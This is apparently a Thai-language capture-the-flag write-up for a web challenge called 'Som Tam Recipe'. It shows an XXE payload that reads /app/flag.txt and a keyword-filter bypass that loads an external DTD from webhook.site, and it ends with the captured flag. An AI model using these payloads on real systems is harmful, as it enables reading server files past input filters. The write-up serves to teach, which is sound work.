[Web] Som Tam Recipe

[Web] Som Tam Recipe

April 22, 2026
1 min read

1.png

โจทย์นี้จะมีหน้าเว็บเหมือนเป็นร้านส้มตำป้าน้อย (หิวเลย 555)

2.png

โดยด้านล่างจะมีให้โหลดอะไรสักอย่าง ก็เลยกดโหลดมา จะได้เป็นไฟล์ template.somtam ซึ่งหากเปิดดูไฟล์แล้วจะได้

<?xml version="1.0" encoding="UTF-8"?>
<recipe>
<chef>somchai</chef>
<dish>somtam_thai</dish>
<spicy_level>3</spicy_level>
<ingredients>papaya peanut tomato chili</ingredients>
<secret>pla_ra_from_isan</secret>
</recipe>

อ่าห้า โจทย์นี้เป็นโจทย์โจมตีแบบ XXE (XML External Entity Injection) โดยจะทำการใส่ <!ENTITY xxe SYSTEM "file:///flag.txt"> ไปเพื่อลองว่าได้ไหม

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<recipe>
<chef>&xxe;</chef>
<dish>somtam_thai</dish>
<spicy_level>3</spicy_level>
<ingredients>papaya peanut tomato chili</ingredients>
<secret>pla_ra_from_isan</secret>
</recipe>

แต่พอลอง Upload ไปแต่…

{
"error": "invalid ingredient detected"
}

หืมม มีการ Block keyword หรอเนี่ย! เริ่มตึงแล้วสินะ = =!

ทีนี้จะทำยังไงเพราะลองหลายท่ามาก ไม่สามารถ Bypass ได้เลย เสียเวลาไป 1 วันเต็ม ๆ เลยล่ะ ;w;

ทีนี้ก็ไปเจออันหนึ่งมาว่า

3.png

เราสามารถที่จะ Bypass ได้โดยการใช้หลักการ SSRF Attack โดยเป็นการที่ระบบตัว XML จะทำการดึง .dbd มาเพื่อประมวลผล แต่เราสามารถใช้ในด้านนี้ในการ Bypass block keyword ได้

โดยจะทำการสร้าง XML Script สำหรับ Bypass block keyword โดยจะใช้เป็น webhook.site

4.png

จากนั้นทำการปรับ Script XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE recipe SYSTEM "https://webhook.site/aaa-bbb-ccc-ddd-eeeeeeeee">
<recipe>
<chef>somchai</chef>
<dish>somtam_thai</dish>
<spicy_level>3</spicy_level>
<ingredients>&xxe;</ingredients>
<secret>pla_ra_from_isan</secret>
</recipe>

ทีนี้ลองทำการ Upload ใหม่อีกครั้ง

{
"chef": "somchai",
"recipe": {
"dish": "somtam_thai",
"ingredients": "WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}\n",
"secret": "pla_ra_from_isan",
"spicy_level": "3"
},
"status": "success"
}

ได้แล้ว เย้!

WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}